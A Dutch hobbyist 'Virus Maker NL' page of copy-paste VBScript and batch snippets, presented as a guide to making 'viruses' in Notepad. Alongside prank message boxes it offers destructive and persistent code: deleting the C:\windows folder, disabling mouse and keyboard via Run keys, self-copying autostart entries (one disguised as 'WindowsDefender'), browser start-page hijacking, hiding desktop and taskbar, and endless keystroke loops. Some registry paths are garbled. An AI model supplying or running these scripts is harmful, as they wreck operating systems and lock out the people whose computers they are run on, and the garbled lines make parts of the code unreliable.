1. Open kladblok 

2. Stop er wat van de onderstaande scripts in door ze gewoon te kopieren. 

3. Sla het op als .vbs en dus niet als .vbs.txt maar als .vbs!    Selecteer "Alle bestanden" in plaats van .txt daarna noem je het bestand .vbs

 4. Klaar is het virus! 

SCRIPTS: 
EEN BERICHT MAKEN

Verander: Hallo in de tekst die jij wil.Code: msgbox "Hallo" 

EEN BERICHT MAKEN MET JE EIGEN TITEL   (Laat 1024 staa

Code:

 X = msgbox ("Hallo", 1024, "Hier jou titel")

REKENSOM MAKEN

Code:

 strPtn = InputBox("SOM 2x4=...")If (strptn) = 8 Then: msgbox "Dat is het goede antwoord"doIf (strPtn) <>8 Then: strPtn = InputBox("SOM 2x4=...")loopmsgbox "test test"

COMPUTER EEN BEEP GELUID LATEN MAKEN

Code:

 Set oWS = WScript.CreateObject("WScript.Shell")oWS.Run "%comspec% /c echo " & Chr(07), 0, True
CD/DVD SPELER LATEN OPENEN1 speler gaat open. Code: Set oWMP = CreateObject("WMPlayer.OCX.7" )Set colCDROMs = oWMP.cdromCollectioncolCDROMs.Item(i).Eject

CD/DVD SPELER LATEN OPENEN Alle spelers gaan open.

Code: 

Dim oWMPDim colCDROMs, iSet oWMP = CreateObject("WMPlayer.OCX.7")Set colCDROMs = oWMP.cdromCollectionif colCDROMs.Count >= 1 thenFor i = 0 to colCDROMs.Count - 1colCDROMs.Item(i).EjectNextFor i = 0 to colCDROMs.Count - 1colCDROMs.Item(i).EjectNextEnd IfoWMP.closeSet colCDROMs = NothingSet oWMP = Nothing

MAP VERWIJDEREN 

Kijk uit, hier verwijder je Windows en werkt je systeem niet meer! 

Code:

 ' delete Set fso = CreateObject("Scripting.FileSystemObject") Set aFolder = fso.GetFolder("C:\windows") aFolder.Delete 

WINDOWS LATEN AFSLUITEN

Code:

 Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") for each OpSys in OpSysSet OpSys.ShutDown() next 

TEKST LATEN HERHALEN Verander Hallo in jou tekst.

Code:

 do msgbox "Hallo!" loop msgbox"Tekstinhetscherm", optioneleschermsoortenknopsoorthier, "Titelscherm" 

MUIS UITSCHAKELEN

Code:

 Set shl = CreateObject("Wscript.shell") Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableMouse", "Rundll32.exe Mouse,Disable" 
TOETSENBORD UITSCHAKELENCode: Set shl = CreateObject("Wscript.shell") Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\DisableKeyboard", "Rundll32.exe Keyboard,Disable" 

COMPUTERNAAM VERANDEREN:

Code:

Set shl = CreateObject("Wscript.shell")Shl.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RegisteredOwner", "De naam hier"
LAAT HETZELFDE SCRIPT UITVOEREN ALS IEMAND ZICH AANMELDCode:Set Shl = CreateObject("Wscript.Shell")Set fso = CreateObject("Scripting.FileSystemObject")winfolder = fso.GetSpecialFolder(0)Set vbsfile = fso.GetFile(WScript.ScriptFullName)vbsfile.Copy winfolder & "bestandsnaam.vbs"Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "bestandsnaam.vbs"

KLADBLOK DIE UIT ZICHZELF TYPT Lijkt net alsof er iemand anders op je computer zit!Als je zelf tekst wil toevoegen, kopieer de onderste 2 regeltjes.De nummers staan voor het aantal miliseconden. Je kan deze ook wijzigen.

Code:

Set WshShell = WScript.CreateObject ("WScript.Shell")WshShell.Run ("notepad.exe")WScript.Sleep 1000WshShell.SendKeys "O"WScript.Sleep 500WshShell.SendKeys "M"WScript.Sleep 500WshShell.SendKeys "G{enter}"WScript.Sleep 1000WshShell.SendKeys "The "WScript.Sleep 200WshShell.SendKeys "Vi"WScript.Sleep 150WshShell.SendKeys "rus "WScript.Sleep 300WshShell.SendKeys "Ma"WScript.Sleep 250WshShell.SendKeys "ker "WScript.Sleep 150WshShell.SendKeys "N"WScript.Sleep 150WshShell.SendKeys "L!"

IRRITANTE PIEP DIE PAS STOPT NA EEN RESTART

Code:

Set oWS = WScript.CreateObject("WScript.Shell")dooWS.Run "%comspec% /c echo " & Chr(07), 0, Trueloop 

VERANDER DE STARTPAGINA VAN INTERNET EXPLORER

Code:

Dim WSHShell, n, MyBox, p, p1, cnSet WSHShell = WScript.CreateObject("WScript.Shell")p = "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page"p1 = "HKLM\Software\Microsoft\Internet Explorer\Main\Start Page"cn="www.virusmaker.moonfruit.com"WSHShell.RegWrite p, cn

VERANDER DE TITELBALK IN INTERNET EXPLORER

Code:

Dim WSHShell, n, MyBox, p, p1, cnSet WSHShell = WScript.CreateObject("WScript.Shell")p = "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title"p1 = "HKLM\Software\Microsoft\Internet Explorer\Main\Window Title"cn="PLAATS HIER DE TEXT DIE JE WILT NEERZETTEN."WSHShell.RegWrite p, cn

START HET SCRIPT ELKE KEER OP ALS DE COMPUTER START

Code:

Dim ditscriptSet WshShell = WScript.CreateObject("WScript.Shell")ditscript=Wscript.ScriptFullNameWshShell. RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsDefender", ditscript, "REG_SZ"

MINIMALISEER AL JE OPENSTAANDE SCHERMEN

Code:

DoSet WSHShell = WScript.CreateObject("WScript.Shell")set shell = wscript.CreateObject("Shell.Application" )wscript.sleep 1000Shell.MinimizeAllLoop

IEMAND IETS LATEN INTYPEN

Code:

a=inputbox ("Wat is je naam?")msgbox "Geweldig"msgbox "Als er een naam lelijk is dan is het wel "+a

AF TEL SCRIPT EEN COUNTDOWN VAN 10 TOT 0Verander de 10 in je eigen getal en de teller telt vanaf daar.

Code:

Set objShell = CreateObject("Wscript.Shell")For i = 10 To 0 Step -1objShell.Popup "Seconds to go "& i, 1, "Countdown"NextSet objShell = Nothing

BOX WAAROP JE JA OF NEE KAN ANTWOORDEN

Code:

if msgBox("Vind je dit virus goed?", vbYesNo, "Virus Maker NL") = vbYes then msgbox "Klopt, hij is ook goed!" else msgbox "Idioot!, Waarom niet?" end if

BERICHT DAT 100x VERSCHIJNT

Code:

for i = 1 to 100 msgbox "Plaats je eigen tekst hier" next

OM DE ZOVEEL TIJD VIRUS MAKER NL OPENEN

Code:

Wscript.Sleep 120000 Set shl = CreateObject("Wscript.shell") shl.Run "http://www.youtube.com/user/079arjen079/" Set Shl = CreateObject("Wscript.Shell") Set fso = CreateObject("Scripting.FileSystemObject") winfolder = fso.GetSpecialFolder(0) Set vbsfile = fso.GetFile(WScript.ScriptFullName) vbsfile.Copy winfolder & "starten.vbs" Shl.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Start menu",winfolder & "starten.vbs" 

MAP AANMAKEN

Code:

path = "C:\Map" set filesys=CreateObject("Scripting.FileSystemObject") If Not filesys.FolderExists(path) Then Set folder = filesys.CreateFolder(path) End If 

BERICHT DAT DATUM GEEFT

Code:

msgbox"De datum is ," & date & ", Oke?" 
Je kan date ook veranderen in:

Day = geeft de dag weer 

Hour = geeft het uur weer 

Minute = geeft de minuut weer 

Month = geef de maand in een getal weer 

MonthName = geeft de naam van de maand neer, wel in het engels! 

Now = geeft de datum en de tijd op je pc aan 

Time = geeft de tijd in uren minuten en seconden aan 

Weekday = geeft de dag van de week aan 

WeekdayName = geeft de naam van de dag aan, wel in het engels!

 Year = geeft het jaar aan 

VERANDER IEMAND ZIJN MSN NAAM

Code:Public WithEvents msn As MessengerAPI.MessengerPrivate Sub Form_Load()Set msn = New MessengerAPI.MessengerEnd SubPrivate Sub Timer1_Timer()msn.OptionsPages 0, MOPT_GENERAL_PAGEPause 0.5SendKeys " Hier plaats je je tekst"Pause 0.5SendKeys "{ENTER}"SendKeys "{ENTER}"Me.ShowEnd SubSub Pause(interval)Current = TimerDo While Timer - Current < Val(interval)DoEventsLoopEnd Sub

LAAT JE PC EEN LIEDJE ZINGEN OF PLAATS JE EIGEN TEKST TUSSEN DE "  ".

Code:

DoStrText=("I know a song that gets on everybodys nerves everybodys nerves everybodys nerves")strText2=("I know a song that gets on everybodys nerves and this is how it goes")set ObjVoice = CreateObject("SAPI.SpVoice")ObjVoice.Speak StrTextObjVoice.Speak StrText2Loop
VERBERG JE  BUREAUBLAD ITEMSCode:Set shl = CreateObject("Wscript.shell") Shl.RegWrite 
"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDesktop","1"

VERBERG DE ZOEK KNOP IN HET MENUSTART

Code:

Set shl = CreateObject("Wscript.shell") Shl.RegWrite 
"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFind","1"
VERBERG DE TAAKBALKCode:Set shl = CreateObject("Wscript.shell") Shl.RegWrite 
"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoSetTaskbar","1"
VERBERG MENU ONDER RECHTERMUISKNOPCode:Set shl = CreateObject("Wscript.shell") Shl.RegWrite 
"HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewContextMenu","

VERANDER NAAM VAN PRULLENBAK

Code:

Option Explicit Dim WshShell, strRecycle, strOldName, strNewName, NL, RBn Set WshShell = Wscript.CreateObject("WScript.Shell") 'Registry key to read for current name. strRecycle = "HKCRCLSID{645FF040-5081" &_ "-101B-9F08-00AA002F954E}" 'Show the existing Recycle Bin name and prompt for new name. NL = vbCRLF strNewName = InputBox("Current name of Recyle Bin shown" &_ " below. " & NL & NL & "Enter a new name " &_ "and click OK", , strOldName) 'If new name was entered, write it to Registry key. If strNewName <> "" Then End If 'Show results. RBn = "Recycle Bin name " If strNewName = "" or strNewName = StrOldName Then WshShell.Popup RBn & "NOT changed.", , , 64 Else WshShell.Popup RBn & "CHANGED to " & strNewName, , , 64 End If

VERANDER BUREAUBLAD ACHTERGRONDGeen vragen hier over, Deze is moeilijk in te voegen!

Code:

sub main () dim keyWallpaper, Wallpaper KeyWallpaper = "HKEY_CURRENT_USERControl PanelDesktopwallpaper" Wallpaper = "HIER JE ACHTERGROND" Set shl = CreateObject("Wscript.shell") shl.RegWrite KeyWallpaper, Wallpaper End sub 
CAPS LOCK GAAT ELKE 100 MILISECONDE AAN EN UITCode:Set wshShell =wscript.CreateObject("WScript.Shell")dowscript.sleep 100wshshell.sendkeys "{CAPSLOCK}"loop

BACKSPACE GAAT ELKE 100 MILISECONDE AAN EN UIT

Code:

MsgBox "Let's go back a few steps"Set wshShell =wscript.CreateObject("WScript.Shell")dowscript.sleep 100wshshell.sendkeys "{bs}"loop

ENTER GAAT ELKE 100 MILISECONDE AAN EN UIT

Code:

Set wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys "~(enter)" loop
MAAK EEN MATRIX SCHERM ZOALS DE ACHTERGROND VAN DE SITESla hem op als: matrix.batCode:@echo offcolor 2:startecho %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%goto start

*************************************************************************************************

OPGELET ALLEEN VOOR PROFESIONEEL GEBRUIK !

*************************************************************************************************

64 = Informatical (Een uitroepteken)

48 = Warning (Een gele waarschuwingsdriehoek)

32 = Question (Een vraagteken)

16 = Critical (Een rode cirkel met een kruis)

0 = vbokonly (Hiermee geef je alleen OK knop weer)

1 = vbokcancel (Hiermee geef je de knoppen OK en Annuleren weer)

2 =vbabortretryignore (Hiermee geef je de knoppen Afbreken, Opnieuw en Negeren weer)

3 = vbyesnocancel (Hiermee geef je de knoppen Ja, Nee en Annuleren weer)

4 = vbyesno (Hiermee geef je de knoppen Ja en Nee weer)

VOORBEELD:ALTIJD OP DE ONDERSTAANDE VOLGORDE

msgbox "Heeft u een beetje honger?", 32 + 4